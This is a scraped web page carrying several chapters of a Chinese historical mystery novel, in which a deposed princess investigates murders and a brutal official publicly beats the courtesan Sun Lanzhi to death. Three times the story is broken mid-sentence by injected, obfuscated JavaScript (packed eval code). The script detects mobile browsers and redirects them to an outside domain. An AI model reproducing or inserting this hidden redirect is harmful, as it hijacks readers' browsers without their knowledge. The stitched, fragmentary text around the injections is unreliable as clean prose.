$(''#content'').append('' 证据,是为了掩盖什么吗?” 张煦低声说:“看来假冒陈渊渟上车的人,定与凶手有关。” 没错,这辆车被换到了最后一辆,后面上车的都是居民,这个人便可以混水摸鱼偷偷离开。 裴瑾眯着眼,她总觉得有什么画面一闪而过。 有个人似乎出现了不止一次,绝不是巧合。 “我好像见过他三次。” 她记忆一向很好,特别是图画记忆,这几日的场景一一浮现,脑子里的人脸快速闪过,终于——阿月死亡的房间,西门巷的小院,还有花车巡游现场…… 三张一闪而过的脸逐渐重合。 那是一张普通男子的脸!裴瑾翻身下床就开始找鞋子。 张煦和寒木被她弄得一愣,这大半夜是要去哪儿? 她长发未梳,穿着里衣,眼里闪着光,看不见周围的一切,只是直直地看向门外,那是她要寻找的真相。 “我的乖乖,快把衣服穿上,待会儿着凉了。”寒木赶紧取来衣服给她裹上。 “木木,你先调动奉密卫,将隔壁小院围起来,要快,别让他逃了。” “十七你跟我来,我们去找李贵。” “是。”他跑得快,他知道的。 李府。 赵太守的门客隐元居士被半夜挖过来,正坐在一旁画像。 裴瑾和张煦坐在另一边,与李贵、李筠节讨论案情。 李贵打着哈欠不停犯困。公主这不是刚下班吗?怎么又来了?知道她爱破案,也不用拼命吧。 天哪,可怜他一大把年纪。 李筠节倒是神采奕奕,随着裴瑾将案情手法抽丝剥茧地讲来,他激动地走来走去。 “没错没错,这样就对了!”长这么大,李筠节第一次参与到这样复杂手法的杀人案中,他竟然体会到了寻找真相的乐趣。 “这还要多亏李司务呢。”裴瑾抿了一口茶,微笑着说,“花车巡游时,李司务曾说,‘有没有可能是两辆车交换了位置’,这才给了我思路。” “啊,还有我的功劳?”李筠节搓搓手,嘿嘿一笑,傻乎乎的样子简直没眼看。 李贵顶着几十岁的脸翻了个白眼,果然是傻儿子,随便夸夸他还真信了。 裴瑾却认真地说:“不仅如此,我能回忆起嫌疑人三次出现在现场,也多亏了李司务之前说过的一句话。” “什么话?” 裴瑾看着他笑了,揶揄:“凶犯都喜欢重新回到案发现场。” 李筠节的脸唰一下就红了。 这事儿他可没忘,当时他把殿下当成嫌犯,大言不惭地指认她,说的就是这句话。 “殿下,画像画好了。”李贵将隐元居士画好的画像交给裴瑾。 隐元居士的画工真是了得,和她描述的几乎一致。 裴瑾将画像交还给了李贵,转头看向隐元居士:“先生的中指似乎受过伤?” 隐元居士的中指微微一动,坦然说道:“前些日子确实伤了中指,殿下观察入微。” “只是看到先生作画时,每到按笔就有轻微停顿,故此猜测。” 这边李筠节接过画像仔细看了之后十分兴奋:此人面相普通,身材与兰芝小姐相差很大。 陈渊渟和姜月相继被杀,兰芝小姐本是最大的嫌疑人。按照公主描述的画像来看,此人绝不是孙兰芝。 他将此番想法告诉裴瑾。 裴瑾听后立刻起身:“如果孙兰芝不是凶手,那么她可能也会有危险!快,去迎春阁找孙兰芝。” 裴瑾唤上张煦和李筠节,然后对李贵说:“李司正,西门巷的小院,我已吩咐寒木围了起来,劳烦你带人去捉拿此人。” “是。” 不知不觉,裴瑾越俎代庖指挥起李贵来,不过她一心办案,一时没有注意这些。 好在李贵也不在意,乐呵呵地带人去抓人,不用动脑子,他也乐得轻松。 16. 交换面具 “师妹回来了。”张道衡坐在茶几旁,淡淡地喝着茶,他语气里带着一丝冷意,但是姜越浑浑噩噩的,没有察觉。 “嗯。” 寒光一闪,剑刃落在姜越颈边,剑气吹发可断,削落姜越脸侧几缕长发。 姜越这才回过神来,长剑就放在她的颈边,美人师兄脸色冷峻。 “师兄,你这是什么意思?” “坐下。” 姜越依言乖乖坐下。 “今日,你去哪儿了?”张道衡一双眼牢牢地锁着姜越。 “我……”姜越心思急转——张道衡的表现似乎是怀疑她了,不知道美人师兄的想法,绝不能老实坦白。 “陈渊渟可是你杀的?”张道衡不欲与她兜圈子,单刀直入,“昨夜你为何在我门前逡巡?” 姜越一惊,张道衡怎么知道她昨夜的事儿? 她忘了张道衡是个高手。 不行,无论如何也不能承认。 “师兄,我昨夜听到房间有异响,起身查看,并没有发现旁人。姐姐惨死,我今日是去找陈渊渟的,没想到,他也不明不白地死在花车里了。” 苍白无力的辩解,姜越想着先给个说法,待会儿美人师兄有什么疑点,再见招拆招。 寒光再次闪过,张道衡长剑还鞘。 一直看着他的姜越发现,美人师兄偷偷松了一口气。 这么单纯的吗?这就相信了? “走吧。” “去哪儿?” “如果你不是凶手,姜月和陈渊渟都惨死,那与他们有关的孙兰芝就十分可疑,再去一趟迎春阁。”张道衡步履坚定,一边走一边戴上面具。 “可是那老鸨不是不告诉我们吗?” “非常时刻,非常手段。” 美人师兄看起来可靠极了。 华灯初上,迎春阁人声鼎沸,陈渊渟和姜月相继死亡,也挡不住百花节的热闹。 天空下起大雨,老鸨正在迎春阁前迎来送往,待她看见张道衡和姜越之时,嘴角撇了撇,又挂上笑容上前迎客。 “两位公子今日可是有心仪的姑娘?可要妈妈为你们介绍?” 张道衡一脸随和:“妈妈将我们领进屋中吧,我与家弟再劳烦妈妈仔细介绍如何?” 老鸨很开心,之前这两兄弟便出手阔绰,今日只要不是来找孙兰芝的,那便是笔大生意,她十分热情地将两人引入天字号房。 岂料刚一进门,她便被张道衡反手制住,一把长剑横在身前。 老鸨一抖,眼珠滴溜溜地转了起来,嘴里说着赔笑好话:“哎呦,两位公子这是怎么了,有事好好说,好好说。咱阁中姑娘都是个顶个的漂亮,两位喜欢谁妈妈这就去为两位带来!咱迎春阁,各家公子、官府大人都是熟客,切莫惊扰了他人!” 老鸨也是见过大世面的,一边说着好话,一边告诉两人迎春阁有后台,可不是软柿子。 张道衡却不吃她这一套。 他声音冷硬,与平时如沐春风的语调大相径庭:“我乃江陵张氏,今日你若是告诉我孙兰芝的下落便罢了,否则管你是与世家有旧,还是与官府有情,你这迎春阁都保不了。” 老鸨权衡利弊,心念一转,陪笑道:“哎哟,原来是江陵郡的张公子,怠慢了,怠慢了。这艺妓的下落本不该告诉两位,但两位既然诚心相问,那妈妈我也就破了这个规矩。兰芝的奴契是被姜府的表小姐姜月买走的。” 姜月??? 怎么会是姜月呢? 兴许是看到两人面带疑惑,老鸨小心翼翼,试探着轻轻推开长剑,抚了抚胸口,调笑道:“哎呀,这把情敌的奴契买走,那这兰芝不就任姜小姐拿捏了吗?这有什么可奇怪的呢?” 张道衡用询问的眼光看向姜越,此事他并不知情,也许姜越略知一二。 姜越却觉得这老鸨没说实话。穿过来的时候姜月已经死了,整个姜府没有一个人提到过孙兰芝。 要知道姜月之死,所有人都怀疑与陈渊渟和孙兰芝有关系,若孙兰芝真的被姜月带回姜府,那旁人定会提到此事。 要么就是姜月将孙兰芝带到了其他地方,要么就是这老鸨还有所隐瞒。 “妈妈也听说姜小姐已死,之后还出现在百花宴上这事儿吧?” 老鸨打了个突,勉强笑道:“此等奇事,自有悬案司和赵太守破获,我等……” “是真的。”张道衡打断她:“姜小姐死的不明不白,妈妈你可是有关之人……” 他给姜越使了个眼色。 姜越福至心灵,立刻领会,阴恻恻地威胁:“若此事是鬼怪所为,妈妈你隐瞒经过,不怕报复?若此事是人为嘛……” 姜越停下话头,老鸨却知道她的未尽之言。凶手连前司马的女儿都能随意杀害,还制造悬案挑衅官府,她一个略有靠山的老鸨,安能全身而退? 不过,孙兰芝下落也应该告诉官府,告诉这两个不明不白的人,是怎么回事? 老鸨还待推脱,却见剑刃重新回到脖颈,她赔笑道:“两位公子,有话好好说,何必动刀动枪?” “妈妈怕是没听明白。”张道衡语气凉凉的。 “你只有两条路,第一,继续隐瞒,”他淡淡地扫了剑柄一眼,其含义不言而喻。 “第二,一五一十,老实交代,在下与家弟,自会去寻兰芝小姐。” 老鸨叹气,心知是遇到了硬茬,多年眼力告诉她,此事复杂,本来不想牵连其中,怎料遇到这两个自称江陵张氏的草莽! 上来就要取她性命! 老鸨眼一闭,和盘托出:“兰芝的奴契是姜小姐买走的,但拿着奴契来领人的,却是秦大人的家仆。” 张道衡:“秦大人……可是新任蜀郡司马秦师一?” “是。” “为何是秦大人,妈妈你可有问缘由?” “未曾。” 姜越质问:“来领人的,与买奴契的都不一样,妈妈你不问清楚?可是又在哄骗我们兄弟二人,是不是不想要命了?!” “哎哟,二位少侠,息怒,息怒啊!秦家家仆与秦大人一般,一般凶勇,我哪敢多问呐。再说,这谁拿着奴契,谁就能带人走,我也没理由问呐!” 姜越和张道衡对视一眼,还欲再问,楼下龟公声音传来。 “哎哟喂,原来是悬案司的李司务,什么风把您吹这儿来了?找妈妈?哎,在楼上天字号房,几位贵客里边儿请。” 老鸨听到这话,腰板瞬间挺直,豪言道:“你们两个小贼,敢威胁我,悬案司的大人来了,你们等着,我这就请官爷,抓你们进去!” “几位大人这边请。”龟公的声音越来越近,张道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035334|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡带着姜越破窗而出。 姜越这时才发现,咦,原来她竟然还会轻功! 也对,好歹是个修行之人,会点武功怎么了。 她努力地在空中维持平衡,假装一副熟练的样子。 “心绪不定,功夫怎么退步如此严重?”张道衡说了一句,倒也没怀疑什么,拉着她离开。 快要到小院的时候,张道衡一个闪身拉着姜越躲在巷口处。 只见小巷子里围满了官兵,堵得水泄不通。幸好两人是踏着夜色,从空中而来,官兵只顾着搜查巷道,并没有注意到他们。 “你被怀疑了。”张道衡眼神直直地看向姜越,像是要把她钉穿个洞。“老实告诉我,你到底有没有杀人?” 姜越心里很乱,她下意识地摇头,诚恳地说:“没有,师兄,我没有杀人。” 张道衡深深地看了她一眼:“那好,我知道了。”说着他就将脸上的人皮面具揭了下来,又去揭姜越脸上的。 “你做什么?” “将你的面具换给我,他们看到的,应该是你人皮面具的脸。我代替你去和官府交涉,你抓紧时间离开,洗清嫌疑之前,不要回来了。” 姜越这次是真的震惊了,她在想,张道衡的师兄情谊未免也太深,明明只是语焉不详的否认,可他却愿意甘冒这么大的风险。 她心里浓浓的愧疚如潮水般涌来,或许她早就应该逃得远远的。 这样原主也不会继续杀人,张道衡也不会被牵连。 不管是原主杀人也好,她自己去现场查看也好,这些事情都与张道衡一点关系也没有,她没有办法见他替代她涉险。 “师兄,不可以。” “那你告诉我事情的经过。” 姜越沉默了,她想了想说:“那我们一起走?” 张道衡摇头:“你不知道悬案司是什么人。你已经被盯上了,况且这小院我租住时并未掩盖身份。他们迟早会查到我张道衡身上,不如我先主动现身拖延时间,你抓紧时间赶紧离开。” “那你怎么办?万一他们说你是凶手?” 张道衡笑了,这一次云淡风轻,眼里带着几分傲气:“我没有做过的事,他们如何定我罪?况且别忘了我姓张,江陵张氏。” 姜越这才想起来她在路上听说的:蜀郡赵氏、江陵张氏、汉中王氏以及东都谢氏,乃是本朝四大世家。 她原以为张道衡只是碰巧姓张,没想到真是张家人。张家人为何在伍丹山修道? 算了,现在不是想这些的时候。 她沉思的时候,美人师兄已经揭过她的面具贴在自己脸上。 他轻轻地摸了摸姜越的头:“你说你不是凶手,我信你。办好你的事就赶紧回伍丹山去吧,不用担心我。” 姜越还未说话,只见张道衡一个闪身趁着夜色回到院里。这次他的速度快极了,显然他的轻功比姜越高很多,刚刚一路行来都是在照顾姜越的速度。 姜越听着小巷里的喧闹声,知道官兵们发现了张道衡。 她看见重重人马将张道衡押解离开,心里十分沉重。 这件事情越卷越深,她已经分不清楚真相到底是什么,还牵连了无辜的人。 不行,姜越,你要冷静,这已经不是你自己的事了。不管真凶是原主,还是另有其人,她一定要找出真相。 17. 孙兰芝 在迎春阁的裴瑾等人也在询问孙兰芝的下落。 老鸨也知道这事闹大了,不敢隐瞒,交代说孙兰芝是被姜月买走了奴契,但却在几日后被秦师一带走了。 她嘀嘀咕咕地说:“怎么都在问孙兰芝的事?” 张煦耳聪目明听到了,问道:“还有谁?” 老鸨说是江陵郡的客人:“老凶了,拿着剑威胁妈妈我呢。按理说我们迎春阁是不会泄露客人的隐私的,妈妈这也是被逼无奈。” “江陵郡。”张煦垂眸思考。 江陵郡,张氏。 裴瑾拿出隐元居士的画像展开问道:“是不是这个人?” 老鸨疯狂点头:“对对对,就是他!这个人是拿剑威胁我那人的弟弟,他们是两兄弟!几位大人你可要为我做主啊,他们这是在欺负良民。” 这时官府的衙役前来通传,说西门巷小院的人抓到了。 人已经抓到,不急于一时,裴瑾决定先去秦师一那里找孙兰芝。 秦府。 近日蜀郡流寇匪徒众多,赵太守和新上任的司马秦师一忙碌了好一阵。 前几日秦师一才得空回到蜀郡,趁着百花节大宴宾客。 秦师一此人能力是有,但好大喜功,为人睚眦必报。 尽管许多人并不想参加他的宴会,担心被记恨,也都来了。 姜越静静地趴在房顶,看着院子里觥筹交错,她在观察,拳头攥得紧紧的。 她有武功的肌肉记忆,但不太会使,不敢贸然进秦府找人。 秦府前院正举行着助兴节目:一个婢女双手被捆,头上顶着一颗苹果,整个人泪流满面,瑟瑟发抖。 宾客们敢怒不敢言,除了个别变态兴致勃勃。 另一边是一个蒙眼公子,同样浑身抖如筛糠,他手里捏着一把短刀,几次掉落在地,又被秦师一塞回掌心。 秦师一穿着红袍,人高马大,孔武有力,眼角有尚未愈合的伤疤。 他扶着发抖的公子朗声道:“赵公子适才不是说,我不如前司马姜大人吗?可见赵公子武艺必定十分高超。趁着各位齐聚,赵公子可要好好表演,杀杀我的威风才行。” 说着,他又一次把掉落的短刀塞入赵恒手中,低声冷笑,像吐着信子的毒蛇:“赵公子,这刀你可拿好了,若是再落地,那下次递给你的就不是刀柄了。” “你敢!我乃赵家赵恒!你如此逼迫于我,不怕赵家与你算账?” “呵。”秦师一嗤笑,“一个赵家旁支弟子,我还不放在眼里。哦,我知道了,赵公子是怜香惜玉舍不得。那不如你去顶着苹果换我来射,放心,本司马武艺高超,定不会伤着你一根毫毛。” 在座宾客食不下咽,心道自己为什么要来参加这次宴会?秦师一是什么疯狗他们能不知道? 这次不过是因为赵恒讥讽了他一句“区区小功就摆宴饮酒,远不如姜鸣鹤”,这秦师一便发了疯,要让赵恒蒙眼,用小刀射婢女头上的苹果。 赵恒打着哆嗦,他自是不愿意亲自顶苹果的,但他一个普通公子,哪敢用小刀去射苹果呢?这一刀出去就是一条人命。 他倒不是怜惜婢女,婢女的性命在他这种世家公子眼里根本算不到什么,他只是不敢,胆小使然。 赵恒几次举起小刀又缓缓放下,婢女吓得满眼都是泪,拼命摇头。 最后赵恒先崩溃了,将刀往地上一扔,直接坐了下来崩溃大哭。 秦师一嗤笑,大声说了一句“废物”,也不怕赵家找他算账,令人带赵公子去梳洗。 他伸手随意一挥,小刀飞出,婢女吓得闭了眼。 在众人的惊呼中,小刀正中婢女头顶的苹果。有几个年轻小姐公子险些被吓得晕了过去。 他看着现场众人的表现,仿佛被取悦了一般,笑得阴恻恻的。 他缓缓回到座位,意犹未尽地说:“看来各位都很是满意秦某的表演,那接下来这位,想必大家都认识。来人,把孙小姐带过来。” 孙兰芝真的在这里! 姜越呼吸急促起来,见秦师一瞄了一眼她的藏身处,赶紧调整呼吸,避免被发现。 众人皆是惊疑未定:孙小姐难道是孙兰芝?虽说孙兰芝被充了奴籍,但她曾经的好友或爱慕者还在宾客当中,大家看着秦师一的疯样都为她捏了一把汗。 当然也有个别人露出了兴奋又扭曲的目光。 贵女落难成为艺妓,现在当众表演取悦他人,这些人阴暗的心理倒是得到了很大的满足。 他们直勾勾地盯着缓缓走来的孙兰芝,期待着秦师一准备的幺蛾子。 孙兰芝身着白衣,鬓发间别着一朵白花,曾经的鹅蛋脸现在有些瘦削,眉间拢着一股清愁,眼底透着一股悲悯,就像是无意间落入人间的明月,哪怕沾染了尘埃,也依然皎皎泠泠,独照清辉。 她手里抱着古琴,缓缓坐下。 看着四周曾经的好友或追随者都将目光投向了自己,她不为所动,垂下眼帘,双手放在古琴上,细心地擦拭着每一根琴弦,好像一切都不放在心里。 “兰芝小姐,听闻你古琴一绝。秦某曾三次登门请你弹奏,皆未见你真容。如今既已成为我府上艺妓,秦某想,与我同样遭遇的客人还有许多,不如今日就在此献曲,让大家一饱耳福如何?” 许多宾客面露愤怒,大家都知道孙兰芝是因为受到牵连才沦为艺妓,秦师一如此折辱她,作为曾经的好友和追随者,都不免火冒三丈。 而当事人只是静静地看了他一眼,又缓缓看向其他人。她似乎在找什么,最后淡淡地收回目光。 她指尖轻触琴弦,低沉的琴音如墨滴入水,缓缓晕开。左手揉弦微颤,丝弦素洁无瑕,却在滚拂的连奏中被浊流浸染,音色也由清转浊。 “刺音”骤起,如利刃划破丝帛,右手“撮、拨、刺”交叠,愤懑之气迸发,像是要冲破黑暗却被染缸紧紧裹在其中,不得而出。纯白的丝线被染成了赤橙黄绿,身不由己。 几番蹉跎挣扎,“泛音”零落,仿若染缸边残存的几缕纯白,终在长吟中沉入黑暗。 画面随着琴音铺展开来:春日溪边,游客驻足,凝视春景。溪水之中,匠人正垂丝染色,素丝入缸,顷刻间朱紫杂呈。 本是纯洁无垢的丝线,立刻被染上了赤黄朱紫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070987|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在场宾客稍有琴音素养者,无不为此曲悲痛不已。人性本洁,奈何世道如染缸,权力欲望将人心层层浸透,染成纷繁复杂丑陋的诸色。 再想到孙兰芝蹉跎飘零的人生,有几位贵女竟抑制不住落起泪来。 秦师一坐在上首,歪着身子“啪啪啪”鼓掌:“好一曲《墨子悲丝》。” “《墨子》见染丝者而叹曰:‘染于苍则苍,染于黄则黄……非独染丝然也,国亦有染。’” “士人若想坚守高洁,须如未染之丝,纵使举世皆浊,亦不可自陷泥沼。” “怎么,兰芝小姐是视我秦府如泥沼?” 上一秒他还在好好说话,下一秒却暴怒起来,他一把扯过孙兰芝,将她的琴摔到地上。“铮”的一声,好好的古琴琴身折断,琴弦也断了几根,犹如孙兰芝整个人像秋天的落叶,被他踩在泥淖里不得翻身。 “兰芝小姐自己作恶多端,却弹琴讽刺我秦某,真是可笑。”说着他举起剑柄砸向孙兰芝的双手。 他动作极快,众人都没有反应过来。 “啊——”一直未曾言语的孙兰芝痛呼起来。她紧紧咬着牙关,但颤抖的身躯和无意识流下的泪水却昭示着她的痛苦。 太痛了,十指连心。 “秦师一你疯了?”一个公子怒吼道。 秦师一一脚踩着孙兰芝的肩,转头看向那位公子:“怎么,周公子也想试一下?” 周公子噎了一下,上头的热血瞬间凉了下来。之前赵恒是被怎么拿捏的,他还记得。 他只是一个普通官员的儿子,得罪不起这条疯狗。 他看了眼咬着牙不肯出声、痛得快晕过去的孙兰芝,别开目光,缓缓坐了回去。 “无趣。” 秦师一环视了宴会一周,朗声问道:“还有谁想为这孙兰芝说话的?秦某不介意多费几双手。” “疯子!简直是疯子!” 不仅是在场的公子小姐,连有品级的官员都不敢吭声。 这秦师一本就是军队出身,杀起人来毫不手软,整个人疯疯癫癫。赵太守将其提拔为蜀郡司马,真不知是祸是福。 见大家都像鹌鹑一样眼观鼻鼻观心,战战兢兢不敢出声,秦师一顿觉无聊,又看向孙兰芝。 “兰芝小姐可知道姜月和陈渊渟都死了?” 其余众人听到此言皆是一愣,莫非这秦师一是在为姜月和陈渊渟报仇?他怀疑孙兰芝是凶手,但也大可不必动用私刑吧? 而且姜月和陈渊渟皆死得诡异,悬案司又还未公布案情,在场的人都不觉得孙兰芝能这样神不知鬼不觉的杀人。 但他们什么话都不敢说。 孙兰芝从牙关挤出两个字:“死了?” “装什么呢?婊子就是婊子。你先是勾引陈渊渟不成,随后被姜月闹得没脸,怀恨在心,索性一不做二不休,将两人都杀死泄愤,我说的可对?” 孙兰芝急切地喘着气,十指连心,巨大的痛苦让她思维迟钝。她没有精力去反驳秦师一的污蔑,尽自己最大力气回了一句:“放屁。” “不承认也没用。来人,将这个杀人犯乱棍打死!” 18. 孙兰芝之死 “不可!” “住手!” “秦司马还请三思!” 呵斥劝阻的声音,在接触到秦师一凶狠的目光时,又怯怯地收回,咽回了肚子里。 一名官吏欲劝阻。 秦师一挑眉说道:“郑大人可是要为了一个杀人嫌疑犯与蜀郡司马作对?” 郑大人顿时被气了个倒仰,粗鄙无耻,残暴至极,竟然公然威胁朝廷命官,这秦师一实在太大胆了。他等赵太守回来,定要参他一本,简直无法无天。 然而郑大人也没敢当场撕破脸,赵恒的例子还摆在前面,他只是个普通人,得罪不起这个疯狗秦师一。 棍棒捶打皮肉的声音在每个人心间敲起,有两位贵女吓得直接昏了过去。 其余人都不忍再看,而承受酷刑的孙兰芝咬破了唇,没有发出一丝声音。 她眼里含着泪藏着恨,她死死地看着秦师一,像是要把他刻进骨子里,化成灰也要找他复仇。 姜越很着急,她想下去阻止秦师一,孙兰芝是她洗清嫌疑的希望。 但她不敢…… 她怯懦了,那个人太疯,武功又强,她现在进去,无异于飞蛾扑火,若是被抓,直接拿她定罪,她百口莫辩。 头又开始疼了,自从穿越以来,她总是遇到这些事,她只是个平凡大学生啊! “秦大人,悬案司的人说要见孙兰芝。”门房跑来说道。当他看到被打得不成人形的孙兰芝时,木然移开眼,淡定的样子可以知道,此等场景他不是第一次见。 “悬案司一群废物,他们能查到什么?让他们滚!” “你让谁滚?”裴瑾搂着张煦的脖子,张煦背着她穿过层层侍卫,翻墙进入了前院。 险陷经过姜越的藏身之处。 裴瑾目光一扫,便看出那个被杖刑的女子是孙兰芝,她一把挥开行刑的下人。 “孙兰芝你你还好吗?” 孙兰芝血肉模糊,身上全是伤,嘴里也不停地吐血,裴瑾根本不敢扶她。 她素白的双手扭曲成奇怪的形状,被人砸碎了手指。 她的手颤颤巍巍地伸向不远处,裴瑾顺着她的手腕看过去,那是被摔坏的古琴。 她看着裴瑾,又固执地看着琴。裴瑾会意将琴抱了过来,孙兰芝断断续续地说:“琴、琴……求你,求你……把琴给你……姜月……陈渊渟,我……” 她定定地看着裴瑾,眼里满是不甘和遗憾,张了张嘴却再也没有说出一个字,倒在了血泊里。 孙兰芝就这么被当众活活打死了! 裴瑾脸色阴沉得吓人:“混账东西!谁准你动用私刑?” 宾客们看到终于有人敢和秦师一对着干了,赶紧七嘴八舌地还原了当时的情景。 李筠节没人背,走的正门,姗姗来迟,没有见到孙兰芝最后一面。他抱着血泊里的尸体失声痛哭:“兰芝小姐……兰芝小姐你醒醒……” 待听到秦师一如何肆无忌惮,当着宾客将孙兰芝折磨至死时,李筠节顿时扑了上去。 秦师一冷笑,直接挥掌打退了李筠节。 李筠节被打得跌倒在地,秦师一没有下重手。 李筠节愤慨道:“动用私刑,殴打朝廷命官,妨碍悬案司破案!秦师一你真是好样的!” “私闯宅邸,扰乱本官办案,悬案司也真是好样的,本官要治你们的罪。” “你办案?你办的什么案?滥杀无辜!兰芝小姐她是无辜的!”李筠节从地上爬起来又要打秦师一。 秦师一一把捏住他的手腕,冷笑道:“我看在你爹的面子上,给你几分薄面,别给脸不要脸。” 说完便将李筠节推倒,这次张煦伸手接住了他,才让他免于四脚朝天。 裴瑾火冒三丈,还未等她说话,秦师一却先发制人,喝道:“来人!这几人扰乱本官查案,擅闯民宅,都给我通通拿下!” 宾客们瞬间都闭嘴了,知道这秦师一大胆,没想到胆子这么大,连公主殿下也敢出手——虽然是废公主。 “我看谁敢。”张煦站到裴瑾和李筠节身前,他手里拿着一块黑色令牌,鱼的形状,上面写着“奉密卫”三字。 “此乃奉密卫黑鱼令,可先斩后奏,谁敢妄动!” 秦师一终于收敛了表情。 奉密卫是直属天子的机构,可代天子行事,先斩后奏,拥有诸多权力。 他正了正脸色,无所畏惧地说道:“本官只是在查案,既然奉密卫要接手,那我便不再多管闲事,这嫌犯的尸体你们可以带走了。” 终于等到人撑腰的李筠节大怒:“你怎么敢?!你这样伤害了兰芝小姐,我要让你偿命!” 秦师一从怀里掏出孙兰芝的奴契:“不过是个奴仆,死就死了,我朝法律还没说过打死奴仆要治罪的。我不过是心系姜家和陈公子,查案有些操之过急了。既然公主殿下和奉密卫要接手此案,那秦某便不再多管闲事。” 秦师一可以目无法纪,李筠节却不能,他一口气堵在胸上,面色铁青。 他只是默默地看向孙兰芝的尸体,又看向在场的宾客:“你们有谁阻止过他吗?” “没有?郑大人?高大人?徐大人?赵公子?魏小姐?” 被他点到名的宾客皆移开目光,不敢看他。 李筠节惨然一笑,声音里带着哭腔:“没有!一个都没有!世家贵族、朝廷命官,朗朗乾坤,没有一个人能为弱女子说话!你们真认为兰芝小姐是凶手吗?” “你们……还有你们!”他指着现场的宾客、秦师一,还有府中的奴仆,“你们都是帮凶!你们都是凶手!” 他眼角流出两行清泪,从血泊里抱起孙兰芝的身体——很轻,骨头也碎了许多。 他艰难地抱起她,默默地往外走去:“对不起兰芝小姐,我来晚了……我会还你清白的,我会让真凶伏法,我会让所有的恶人都得到报应。” 裴瑾深呼吸了几口气,将情绪赶出脑海。她冷冷地看向秦师一:“秦司马擅自杀害重要人证,希望能配合调查,跟我们走一趟。” 岂料秦师一十分嚣张,直接回了一句:“剿匪没空。” 还嘲讽道:“悬案司要是无能,那就别管了,若要治我罪,便去找赵太守。” 李筠节大怒:“秦师一,你凶狠暴戾,杀人成性,兰芝小姐一定是无辜的,我会还她清白,我一定要让你血债血偿!” 秦师一大笑:“李筠节,就凭你?不知道办了多少冤假错案,怎么那些被冤枉的人没来找你让你血债血偿?真是可笑至极。” “再说了,孙兰芝乃我秦府艺妓,奴仆卖身契在此,过了官府,走了明路。我打杀下人,与你何干?莫非李司务与我秦府婢女有通奸之嫌?何不早说,早说秦某便将她赐予你,也省得李司务对我秦府婢女日思夜想,夙兴夜寐。来来来,看看还有谁喜欢的,今日我秦某便让你一同带走。” “住口!这种东西你怎可如此折辱兰芝小姐,我跟你拼了!” 秦师一脸色刷的变得阴沉,他对着扑过来的李筠节就是一掌。这一掌要是落到实处,李筠节必受内伤。 “十七,阻止他。” 张煦后发先至,一手推开李筠节,另一手轻松接下秦师一的掌风,两人浅浅交手几招便各自退开。 “裴大人,武功不错。”秦师一捂着被打伤的手臂。 张煦没理他,默默走回裴瑾身后。 “秦大人今日此刻言行,裴某记下了。”裴瑾面色冰冷至极,她淡淡地说:“秦大人借题发挥,虐杀孙兰芝一事,本殿定会彻查到底。” 秦师一冷哼一声:“那便请废公主殿下好好查查!容秦某提醒一句,您现在只是庶人,自称本殿,别怕闪了舌头。呵,来人,送客!” 他在“废”字上咬得极重,声音极致嘲讽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076156|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实,按理来说废公主便是庶人,还不足以与蜀郡司马相抗衡,特别是这种不要命的疯批。 裴瑾深深地看了他一眼,从地上捡起损坏的古琴,率先离开秦府。身后跟着李筠节、张煦,还有趁乱告辞的许多宾客。 这一出门正好碰到了打探消息的姜越。两人目光一对,姜越暗道不好,她虽然换了脸,但这景小姐……不,裴瑾公主的眼神就如探照灯一样,她总觉得裴瑾能认出她来。 裴瑾看着那个陌生的男子,低声对张煦说:“你们等一下。” 姜越怔在原地,脚步僵硬。她看着裴瑾缓缓向她走来,一如几天前在姜府门口识破她的伪装。 八丈…… 六丈…… 四丈…… “兰芝……是兰芝吗?”虚弱的女声打断了裴瑾的脚步,只见一位衣着朴素的女子,缓缓从马车上走下来。 她隐晦地看了姜越一眼,目光从姜越身上扫过,落在孙兰芝身上,眼角泛出泪花。 “陈姨身体虚弱,怎大半夜到这里来了,仔细着了风寒。”裴瑾不由疑惑:“陈姨与孙兰芝很熟?” 陈素看着浑身是血的孙兰芝,目露哀戚:“我夫君与兰芝的父亲是战友,兰芝也是我看着长大的,与阿月是闺蜜,是我的半个女儿,如今她惨死,这叫我如何不难过?” 事情到这里,裴瑾其实已经不怀疑孙兰芝了,孙兰芝被秦师一弄到秦府根本无法出门。 且听陈素的语气中,似乎孙兰芝和阿月,竟是十分要好。 但陈素此前对这些事都未曾提及,裴瑾总觉得她在掩盖什么。 所以裴瑾故意试探:“可我们怀疑孙兰芝,是伤害陈渊渟和阿月的凶手。” “绝不可能!兰芝……我相信兰芝不是凶手!孙将军是我夫君的部下,两人如亲兄弟一般,兰芝为人内敛清冷,外界传言断不可信。” “那陈姨可知阿月曾买下孙兰芝的奴契?” “这我倒是不知。” 